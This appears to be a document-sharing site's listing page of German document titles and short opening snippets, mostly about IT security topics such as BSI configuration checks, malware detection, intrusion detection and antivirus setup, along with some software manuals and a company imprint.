Überprüfung der Wirksamkeit der BSI-Konfigurationsempfehlungen für Windows 7 BSI-Veröffentlichungen zur Cyber-Sicherheit ANALYSEN Überprüfung der Wirksamkeit der BSI-Konfigurationsempfehlungen Auswirkungen der Konfiguration auf den Schutz gegen aktuelle Drive-by-Angriffe Zusammenfassung

Mehr

http://www.cis.upenn.edu/~bcpierce/unison/download/stable/unison- 2.9.1/

http://www.cis.upenn.edu/~bcpierce/unison/download/stable/unison- 2.9.1/ Einführung Was ist Unison? Unison ist ein Dateisynchronisationsprogramm für Windows und Unix. Es teilt sich viele Funktionen mit anderen Programmen, wie z.b. CVS und rsync. Folgend einige Vorteile des

Mehr

Sicherheit in Software

Sicherheit in Software Sicherheit in Software Fabian Cordt und Friedrich Eder 3. Juni 2011 Allgemeines Begriffserklärung Woher Die 19 Todsünden 1 - Teil 2 - Teil 3 - Teil Was kann passieren Probleme beim Porgramm Durch Lücken

Mehr

Sicherheit allgemein

Sicherheit allgemein Sicherheit allgemein Markus Krieger Rechenzentrum Uni Würzburg krieger@rz.uni-wuerzburg.de 1 Einführung Ziel der Veranstaltung Definition von Sicherheit und Gefahren Denkanstöße Angreifer, Angriffsmöglichkeiten

Mehr

1 Ratgeber und Praxis

1 Ratgeber und Praxis 1 Ratgeber und Praxis Nicht nur große, sondern zunehmend auch mittlere und kleine Unternehmen sind Zielscheibe von Cyberkriminellen. Dieses Kapitel gibt IT-Verantwortlichen und Administratoren einen praxisrelevanten

Mehr

Security-Webinar. Februar 2015. Dr. Christopher Kunz, filoo GmbH

Security-Webinar. Februar 2015. Dr. Christopher Kunz, filoo GmbH Security-Webinar Februar 2015 Dr. Christopher Kunz, filoo GmbH Ihr Referent _ Dr. Christopher Kunz _ CEO Hos4ng filoo GmbH / TK AG _ Promo4on IT Security _ X.509 / SSL _ Vorträge auf Konferenzen _ OSDC

Mehr

Pass-the-Hash. Lösungsprofil

Pass-the-Hash. Lösungsprofil Lösungsprofil Inhalt Was ist Pass-the-Hash?...3 Schwachstellen aufdecken...5 DNA-Report...6 Gefahren reduzieren...7 CyberArk...8 Cyber-Ark Software Ltd. cyberark.com 2 Was ist Pass-the-Hash? Die von Hackern

Mehr

Impressum. Angaben gemäß 5 TMG: Vertreten durch: Kontakt: Registereintrag: Umsatzsteuer-ID: Farbenmühle mcdrent GmbH & CO. KG Hagdorn 13 45468 Mülheim

Impressum. Angaben gemäß 5 TMG: Vertreten durch: Kontakt: Registereintrag: Umsatzsteuer-ID: Farbenmühle mcdrent GmbH & CO. KG Hagdorn 13 45468 Mülheim Impressum Angaben gemäß 5 TMG: Farbenmühle mcdrent GmbH & CO. KG Hagdorn 13 45468 Mülheim Vertreten durch: Jens Müller Kontakt: Telefon: 004915168497847 E-Mail: info@mcdrent.de Registereintrag: Eintragung

Mehr

PC Hack erkennen 3 - Rootkits & versteckte Trojaner aufspühren

PC Hack erkennen 3 - Rootkits & versteckte Trojaner aufspühren PC Hack erkennen 3 - Rootkits & versteckte Trojaner aufspühren Eine weitere Möglichkeit, das ein PC mit einem Trojaner infiziert sein kann, ist z.b., wenn ein Backdoor Listener wie Netcat auf dem infiltriertem

Mehr

Departement Wirtschaft. IT Forensics in action against malicious Software of the newest generation

Departement Wirtschaft. IT Forensics in action against malicious Software of the newest generation Departement Wirtschaft IT Forensics in action against malicious Software of the newest generation Dipl. Ing. Uwe Irmer IT Security- Schnappschüsse 2 Malware der neuesten Generation Professionalität- wer

Mehr

vii Inhaltsverzeichnis 1 Einleitung 1

vii Inhaltsverzeichnis 1 Einleitung 1 vii 1 Einleitung 1 1.1 Was ist das Metasploit-Framework?............................. 2 1.2 Ziel des Buches............................................. 2 1.3 Wer sollte dieses Buch lesen?...................................

Mehr

Sophos Virenscanner Konfiguration

Sophos Virenscanner Konfiguration Ersteller/Editor Ulrike Hollermeier Änderungsdatum 12.05.2014 Erstellungsdatum 06.07.2012 Status Final Konfiguration Rechenzentrum Uni Regensburg H:\Sophos\Dokumentation\Sophos_Konfiguration.docx Uni Regensburg

Mehr

Dynamische Web-Anwendung

Dynamische Web-Anwendung Dynamische Web-Anwendung Christiane Lacmago Seminar Betriebssysteme und Sicherheit Universität Dortmund WS 02/03 Gliederung Einleitung Definition und Erläuterung Probleme der Sicherheit Ziele des Computersysteme

Mehr

Installation und Registrierung von WinGAEB 3.5 unter Linux mit CrossOver Office

Installation und Registrierung von WinGAEB 3.5 unter Linux mit CrossOver Office Installation und Registrierung von WinGAEB 3.5 unter Linux mit CrossOver Office 1. WINGAEB UND LINUX... 2 1.1. Systemvoraussetzungen... 2 1.2. Anmerkungen... 2 2. DIE INSTALLATION VON WINGAEB... 3 2.1.

Mehr

SZENARIO. ausgeführt Command Injection: Einschleusen (Injizieren) bösartiger Befehle zur Kompromittierung der Funktionsschicht

SZENARIO. ausgeführt Command Injection: Einschleusen (Injizieren) bösartiger Befehle zur Kompromittierung der Funktionsschicht SZENARIO Folgenden grundlegende Gefahren ist ein Webauftritt ständig ausgesetzt: SQL Injection: fremde SQL Statements werden in die Opferapplikation eingeschleust und von dieser ausgeführt Command Injection:

Mehr

Den Browser isolieren mit GeSWall

Den Browser isolieren mit GeSWall Den Browser isolieren mit GeSWall Das Programm GeSWall von S.a.r.l. aus Luxemburg ist eine sandbox/policy restrictions Anwendung in englischer Sprache. http://www.gentlesecurity.com Eine Feature Übersicht

Mehr

Verbinden Sie Ihren Computer / Ihr Netzwerk niemals ohne Firewall

Verbinden Sie Ihren Computer / Ihr Netzwerk niemals ohne Firewall 1. Gebot: http://www.8com.de Verbinden Sie Ihren Computer / Ihr Netzwerk niemals ohne Firewall / DSL-Router mit dem Internet. Überprüfen regelmäßig die Konfiguration Ihrer Firewall / Ihres DSL-Routers

Mehr

Bilder im Internet. Hans Magnus Enzensberger

Bilder im Internet. Hans Magnus Enzensberger Kapitel 4 Alle reden von Kommunikation, aber die wenigsten haben sich etwas mitzuteilen. Hans Magnus Enzensberger Bilder im Internet Nach der etwas umfangreichen vorangehenden Lektion zum Ausklang der

Mehr

MySQL Community Server 5.1 Installationsbeispiel

MySQL Community Server 5.1 Installationsbeispiel MySQL Community Server 5.1 Installationsbeispiel Dieses Dokument beschreibt das Herunterladen der Serversoftware, die Installation und Konfiguration der Software. Bevor mit der Migration der untermstrich-datenbank

Mehr

Jugendschutz und Sicherheit am PC und im World Wide Web

Jugendschutz und Sicherheit am PC und im World Wide Web Jugendschutz und Sicherheit am PC und im World Wide Web In der Schule, im Büro oder in der Freizeit, längst sind das Internet und der PC für viele von uns ein fester Bestandteil unseres täglichen Lebens.

Mehr

Security Information und Event Management (SIEM) erweiterte Sicherheitsanforderungen bei wachsender Datenflut

Security Information und Event Management (SIEM) erweiterte Sicherheitsanforderungen bei wachsender Datenflut TWINSOF T Security Information und Event Management (SIEM) erweiterte Sicherheitsanforderungen bei wachsender Datenflut 05.06.2013 GI Themenabend BIG DATA: Matthias Hesse, Twinsoft Ablauf 1. Wer ist denn

Mehr

5.2 Analyse des File Slack

5.2 Analyse des File Slack 5.2 Analyse des File Slack 109 Es gibt an vielen Stellen eines Betriebssystems Fundorte für Gebrauchsspuren oder Hinweise auf Auffälligkeiten. Diese Stellen sollten grundsätzlich aufgesucht und analysiert

Mehr

Desktop Personal Firewall und Virenscanner

Desktop Personal Firewall und Virenscanner Desktop Personal Firewall und Virenscanner Desktop Personal Firewall Was ist eine Firewall und wie kann diese unterschieden werden? Wie funktioniert eine Firewall? Was ist zu beachten? Virenscanner Was

Mehr

Open for Business - Open to Attack? Walter Lender, Geschäftsführer, Visonys IT-Security Software GesmbH

Open for Business - Open to Attack? Walter Lender, Geschäftsführer, Visonys IT-Security Software GesmbH Open for Business - Open to Attack? Walter Lender, Geschäftsführer, Visonys IT-Security Software GesmbH 2 Open for Business - Open to Attack? 75% aller Angriffe zielen auf Webanwendungen (Gartner, ISS)

Mehr

Webmail. Anleitung für Ihr online E-Mail-Postfach. http://webmail.willytel.de

Webmail. Anleitung für Ihr online E-Mail-Postfach. http://webmail.willytel.de Webmail Anleitung für Ihr online E-Mail-Postfach http://webmail.willytel.de Inhalt: Inhalt:... 2 Übersicht:... 3 Menü:... 4 E-Mail:... 4 Funktionen:... 5 Auf neue Nachrichten überprüfen... 5 Neue Nachricht

Mehr

1. Installation und Inbetriebnahme pcon.update

1. Installation und Inbetriebnahme pcon.update Manual pcon.update 1. Installation und Inbetriebnahme pcon.update Unter nachfolgendem Link können Sie die erforderliche Software pcon.update herunterladen. ftp://ftpdownload:download-9200@ftp.weber-os.ch/download/pcon/update/p-up-

Mehr

Wenn Sie eine Mail haben die in Ihren Augen kein SPAM. asspnotspam@dachau.net

Wenn Sie eine Mail haben die in Ihren Augen kein SPAM. asspnotspam@dachau.net Wissenswertes über SPAM Unter dem Begriff Spam versteht man ungewünschte Werbenachrichten, die per E-Mail versendet werden. Leider ist es inzwischen so, dass auf eine gewünschte Nachricht, oft zehn oder

Mehr

Selbstüberprüfung und Verhalten im Verdachtsfall Viren, Trojaner, Rootkits und andere Schadsoftware

Selbstüberprüfung und Verhalten im Verdachtsfall Viren, Trojaner, Rootkits und andere Schadsoftware Selbstüberprüfung und Verhalten im Verdachtsfall Viren, Trojaner, Rootkits und andere Schadsoftware Hessen IT Workshopreihe Wiesbaden, 23.10.2007 Christian Schülke Agenda Grundlagen Gefährdung/Bedrohung

Mehr

Angreifbarkeit von Webapplikationen

Angreifbarkeit von Webapplikationen Vortrag über die Risiken und möglichen Sicherheitslücken bei der Entwicklung datenbankgestützter, dynamischer Webseiten Gliederung: Einführung technische Grundlagen Strafbarkeit im Sinne des StGB populäre

Mehr

Der Landesbeauftragte für den Datenschutz Rheinland-Pfalz

Der Landesbeauftragte für den Datenschutz Rheinland-Pfalz Folie: 1 Folie: 2 IFB-Workshop IT-Sicherheit und Datenschutz Folie: 3 Agenda 1. Theoretischer Teil Systematik von IT-Sicherheit und Datenschutz Grundbedrohungen der IT-Sicherheit Gefahren aus dem Internet

Mehr

18 Windows-Anwendungen auf Linux-PCs

18 Windows-Anwendungen auf Linux-PCs 575 18 Windows-Anwendungen auf Linux-PCs Windows-Anwendungen gelten für viele Anwender und Entscheider als so populär, dass sie sich auch für Windows-Betriebssysteme als Arbeitsumgebung entscheiden. Doch

Mehr

ENDPOINT SECURITY FOR MAC BY BITDEFENDER

ENDPOINT SECURITY FOR MAC BY BITDEFENDER ENDPOINT SECURITY FOR MAC BY BITDEFENDER Änderungsprotokoll Endpoint Security for Mac by Bitdefender Änderungsprotokoll Veröffentlicht 2015.03.11 Copyright 2015 Bitdefender Rechtlicher Hinweis Alle Rechte

Mehr

Sind Ihre Anwendungen auf mobilen Endgeräten sicher? Karsten Sohr Technologie-Zentrum Informatik Universität Bremen

Sind Ihre Anwendungen auf mobilen Endgeräten sicher? Karsten Sohr Technologie-Zentrum Informatik Universität Bremen Sind Ihre Anwendungen auf mobilen Endgeräten sicher? Karsten Sohr Technologie-Zentrum Informatik Universität Bremen Inhalt Motivation allgemeine Bedrohungen für mobile Endgeräte bösartige Anwendungen für

Mehr

Sucuri Websiteschutz von

Sucuri Websiteschutz von Sucuri Websiteschutz von HostPapa Beugen Sie Malware, schwarzen Listen, falscher SEO und anderen Bedrohungen Ihrer Website vor. HostPapa, Inc. 1 888 959 PAPA [7272] +1 905 315 3455 www.hostpapa.com Malware

Mehr

Ein kurzer Überblick über das Deutsche Honeynet Projekt

Ein kurzer Überblick über das Deutsche Honeynet Projekt Dependable Distributed Systems Ein kurzer Überblick über das Deutsche Honeynet Projekt Thorsten Holz Laboratory for Dependable Distributed Systems holz@i4.informatik.rwth-aachen.de Thorsten Holz Laboratory

Mehr

2. Word-Dokumente verwalten

2. Word-Dokumente verwalten 2. Word-Dokumente verwalten In dieser Lektion lernen Sie... Word-Dokumente speichern und öffnen Neue Dokumente erstellen Dateiformate Was Sie für diese Lektion wissen sollten: Die Arbeitsumgebung von Word

Mehr

Sicherheit für Karteninhaber- und Transaktionsdaten/Schutz vor Hackerangriffen

Sicherheit für Karteninhaber- und Transaktionsdaten/Schutz vor Hackerangriffen Sicherheit für Karteninhaber- und Transaktionsdaten/Schutz vor Hackerangriffen Neue Programme von MasterCard und VISA: SDP Side Data Protection MasterCard AIS Account Information Security VISA Zielgruppen

Mehr

ZMI Benutzerhandbuch Sophos. Sophos Virenscanner Benutzerhandbuch

ZMI Benutzerhandbuch Sophos. Sophos Virenscanner Benutzerhandbuch ZMI Benutzerhandbuch Sophos Sophos Virenscanner Benutzerhandbuch Version: 1.0 12.07.2007 Herausgeber Zentrum für Medien und IT ANSCHRIFT: HAUS-/ZUSTELLADRESSE: TELEFON: E-MAIL-ADRESSE: Zentrum für Medien

Mehr

Beschreibung Mobile Office

Beschreibung Mobile Office Beschreibung Mobile Office 1. Internet / Netz Zugriff Für die Benutzung von Mobile Office ist lediglich eine Internet oder Corporate Netz Verbindung erforderlich. Nach der Verbindungsherstellung kann über

Mehr

Klassifikation und Einsatzmöglichkeiten von Intrusion Detection Systems (IDS)

Klassifikation und Einsatzmöglichkeiten von Intrusion Detection Systems (IDS) Technische Universität Ilmenau Fakultät für Informatik und Automatisierung Institut für Praktische Informatik und Medieninformatik Fachgebiet Telematik Prof. Dr. Dietrich Reschke Klassifikation und Einsatzmöglichkeiten

Mehr

Verwendung der Sharepoint-Portal-Server Website

Verwendung der Sharepoint-Portal-Server Website VDE Prüf- und Zertifizierungsinstitut Version: 2006-09-18 Telefon: 069/8306- Fax: 069/8306- E-Mail: Verwendung der Sharepoint-Portal-Server Website Inhalt: 1 Ziel...1 2 Allgemeine Techniken zur Benutzung

Mehr

G-Info Lizenzmanager

G-Info Lizenzmanager G-Info Lizenzmanager Version 4.0.1001.0 Allgemein Der G-Info Lizenzmanager besteht im wesentlichen aus einem Dienst, um G-Info Modulen (G-Info Data, G-Info View etc.; im folgenden Klienten genannt) zentral

Mehr

Intrusion Detection. Alexander Auer Dominik Fakner Richard Hentschel. Universität Salzburg 1/40

Intrusion Detection. Alexander Auer Dominik Fakner Richard Hentschel. Universität Salzburg 1/40 Intrusion Detection Einführung Kryptographie und IT-Sicherheit Intrusion Detection Alexander Auer Dominik Fakner Richard Hentschel Universität Salzburg 2012 1/40 Inhalt Inhaltsverzeichnis 1 Was ist Intrusion

Mehr

ProSecure Sales Training 3/6. Beispiele für Attacken

ProSecure Sales Training 3/6. Beispiele für Attacken ProSecure Sales Training 3/6 Beispiele für Attacken Einleitung Recent Breach Attacke am Freitag, 14. November 2008 Ein weiteres großes, internationales Kreditinstitut sah sein Computersystem von unbekannten

Mehr

Sophos Anti-Virus. Felizitas Heinebrodt. Technische Hochschule Nürnberg Rechenzentrum Kesslerplatz 12, 90489 Nürnberg. Version 12 September 2014

Sophos Anti-Virus. Felizitas Heinebrodt. Technische Hochschule Nürnberg Rechenzentrum Kesslerplatz 12, 90489 Nürnberg. Version 12 September 2014 Sophos Anti-Virus Felizitas Heinebrodt Technische Hochschule Nürnberg Rechenzentrum Kesslerplatz 12, 90489 Nürnberg Version 12 September 2014 DokID: sophos Vers. 12, 20.08.2015, RZ/THN Informationen des

Mehr

Bundesministerium für Gesundheit und Soziale Sicherung. Gefördert vom. Datenschutz und Datensicherheit. Aufgaben

Bundesministerium für Gesundheit und Soziale Sicherung. Gefördert vom. Datenschutz und Datensicherheit. Aufgaben Gefördert vom Bundesministerium für Gesundheit und Soziale Sicherung Datenschutz und Datensicherheit Inhaltsverzeichnis Vorwort... 4 1 zu Kapitel 1... 5 1.1 Aufgabe 1 Gefährdung von Daten...5 1.2 Aufgabe

Mehr

Zeiterfassung-Konnektor Handbuch

Zeiterfassung-Konnektor Handbuch Zeiterfassung-Konnektor Handbuch Inhalt In diesem Handbuch werden Sie den Konnektor kennen sowie verstehen lernen. Es wird beschrieben wie Sie den Konnektor einstellen und wie das System funktioniert,

Mehr

Anleitung zur Datensicherung mit Synchredible

Anleitung zur Datensicherung mit Synchredible Anleitung zur Datensicherung mit Inhaltsverzeichnis Generelles zur Datensicherung... 2 Installation für Universitätsangestellte... 2 Installation von zuhause... 2 Einrichtung einer automatischen Datensicherung

Mehr

Sophos Computer Security Scan Startup-Anleitung

Sophos Computer Security Scan Startup-Anleitung Sophos Computer Security Scan Startup-Anleitung Produktversion: 1.0 Stand: Februar 2010 Inhalt 1 Einleitung...3 2 Vorgehensweise...3 3 Scan-Vorbereitung...3 4 Installieren der Software...4 5 Scannen der

Mehr

Als Malware bezeichnet man Computerprogramme, die unerwünschte, meist auch schädliche Aktionen ausführen.

Als Malware bezeichnet man Computerprogramme, die unerwünschte, meist auch schädliche Aktionen ausführen. ECDL Core IT-Security 2 MALWARE 2.1 Definition und Funktionsweise Als Malware bezeichnet man Computerprogramme, die unerwünschte, meist auch schädliche Aktionen ausführen. 2.1.1 Den Begriff Malware verstehen

Mehr

Intrusion Detection / Intrusion Prevention. Technologie zwischen Anspruch und Wirklichkeit

Intrusion Detection / Intrusion Prevention. Technologie zwischen Anspruch und Wirklichkeit Intrusion Detection / Intrusion Prevention Technologie zwischen Anspruch und Wirklichkeit IDS Bisher Zwei Bereiche Netzwerk basiert Host basiert Erkennung von Angriffen aufgrund von Mustern / Signaturen

Mehr

IRS in virtualisierten Umgebungen

IRS in virtualisierten Umgebungen Lehrstuhl Netzarchitekturen und Netzdienste Institut für Informatik Technische Universität München IRS in virtualisierten Umgebungen Seminar: Future Internet Christian Lübben Betreuer: Nadine Herold, Stefan

Mehr

ekey TOCAhome pc Software Inhaltsverzeichnis 1. ZWECK DIESES DOKUMENTS... 3 2. VERWENDUNGSHINWEIS ZUR SOFTWARE... 3

ekey TOCAhome pc Software Inhaltsverzeichnis 1. ZWECK DIESES DOKUMENTS... 3 2. VERWENDUNGSHINWEIS ZUR SOFTWARE... 3 Inhaltsverzeichnis Software ekey TOCAhome pc 1. ZWECK DIESES DOKUMENTS... 3 2. VERWENDUNGSHINWEIS ZUR SOFTWARE... 3 3. MONTAGE, INSTALLATION UND ERSTINBETRIEBNAHME... 3 4. VERSION... 3 Version 1.5 5. BENUTZEROBERFLÄCHE...

Mehr

DSLinux Skriptbasierte Inventarisierung für Linux

DSLinux Skriptbasierte Inventarisierung für Linux DSLinux Skriptbasierte Inventarisierung für Linux www.docusnap.com TITEL DSLinux AUTOR Docusnap Consulting DATUM 21.04.2015 Die Weitergabe, sowie Vervielfältigung dieser Unterlage, auch von Teilen, Verwertung

Mehr

Leitfaden zur Installation von BitByters.Backup

Leitfaden zur Installation von BitByters.Backup Leitfaden zur Installation von BitByters.Backup Der BitByters.Backup - DASIService ist ein Tool mit dem Sie Ihre Datensicherung organisieren können. Es ist nicht nur ein reines Online- Sicherungstool,

Mehr

6.1.2 Beispiel 118: Kennwort eines Benutzers ändern

6.1.2 Beispiel 118: Kennwort eines Benutzers ändern Herzlich willkommen zum Kurs "Windows XP Home & Professional" 6 Windows XP und die Sicherheit Sicherheit beim Arbeiten am Computer ist einer der wichtigsten Themen. Windows XP wurde von Microsoft mit zahlreichen

Mehr

Installation und Benutzung AD.NAV.ZipTools

Installation und Benutzung AD.NAV.ZipTools Installation und Benutzung AD.NAV.ZipTools Version 1.0.0.0 ALTENBRAND Datentechnik GmbH Am Gelicht 5 35279 Neustadt (Hessen) Tel: 06692/202 290 Fax: 06692/204 741 email: support@altenbrand.de Die Komponente

Mehr

F-Secure Anti-Virus for Mac 2015

F-Secure Anti-Virus for Mac 2015 F-Secure Anti-Virus for Mac 2015 2 Inhalt F-Secure Anti-Virus for Mac 2015 Inhalt Kapitel 1: Einstieg...3 1.1 Abonnement verwalten...4 1.2 Wie kann ich sicherstellen, dass mein Computer geschützt ist?...4

Mehr

Lange Nacht der Wissenschaften 2007. Gefahr aus dem Internet Wie kann ich mein Windows System schützen?

Lange Nacht der Wissenschaften 2007. Gefahr aus dem Internet Wie kann ich mein Windows System schützen? Lange Nacht der Wissenschaften 2007 Gefahr aus dem Internet Wie kann ich mein Windows System schützen? Manuel Selling Humboldt Universität zu Berlin ZE Computer und Medienservice Abt. Systemsoftware und

Mehr

Sicherheitsbetrachtung von Android und dessen Apps. Dr. Michael Spreitzenbarth

Sicherheitsbetrachtung von Android und dessen Apps. Dr. Michael Spreitzenbarth Sicherheitsbetrachtung von Android und dessen Apps Dr. Michael Spreitzenbarth Über mich Studium der Wirtschaftsinformatik an der Universität Mannheim mit dem Schwerpunkt in den Bereichen IT-Security und

Mehr

Das lukrative Geschäft mit falscher Antiviren- Software

Das lukrative Geschäft mit falscher Antiviren- Software Das lukrative Geschäft mit falscher Antiviren- Software November 2009 Autor: Renato Ettisberger SWITCH 2009 1. Das Geschäftsmodell Nie waren die Computersysteme von Firmen und Privaten dermassen vielen

Mehr

zur WinIBW Version 2.3

zur WinIBW Version 2.3 zur WinIBW Version 2.3 Stand: 14. Dezember 2001 18. Januar 2002 BW Installation (lokal) Technische Voraussetzungen Softwarebeschaffung Installation Start Pica-Schriften Probleme Technische Voraussetzungen

Mehr

Leitfaden zum sicheren Umgang mit emails: Worauf Sie achten sollten und wie Sie verdächtige Nachrichten erkennen

Leitfaden zum sicheren Umgang mit emails: Worauf Sie achten sollten und wie Sie verdächtige Nachrichten erkennen Leitfaden zum sicheren Umgang mit emails: Worauf Sie achten sollten und wie Sie verdächtige Nachrichten erkennen Auf diesen Seiten finden Sie Hinweise und Tipps zur Nutzung von email. Die Informationen

Mehr

Konfiguration von Sophos Anti-Virus für Windows

Konfiguration von Sophos Anti-Virus für Windows Konfiguration von Sophos Anti-Virus für Windows Diese Konfigurationsanleitung beschreibt die grundlegenden Einstellungen von Sophos Anti-Virus. Bei speziellen Problemen hilft oft schon die Suche in der

Mehr

Technische Aspekte des neuen Computergrundrechts

Technische Aspekte des neuen Computergrundrechts Technische Aspekte des neuen Computergrundrechts Prof. Dr.-Ing. Hannes Federrath I. Einleitung In diesem Beitrag geht es um Techniken, mit denen das neue Computergrundrecht verletzt werden kann und den

Mehr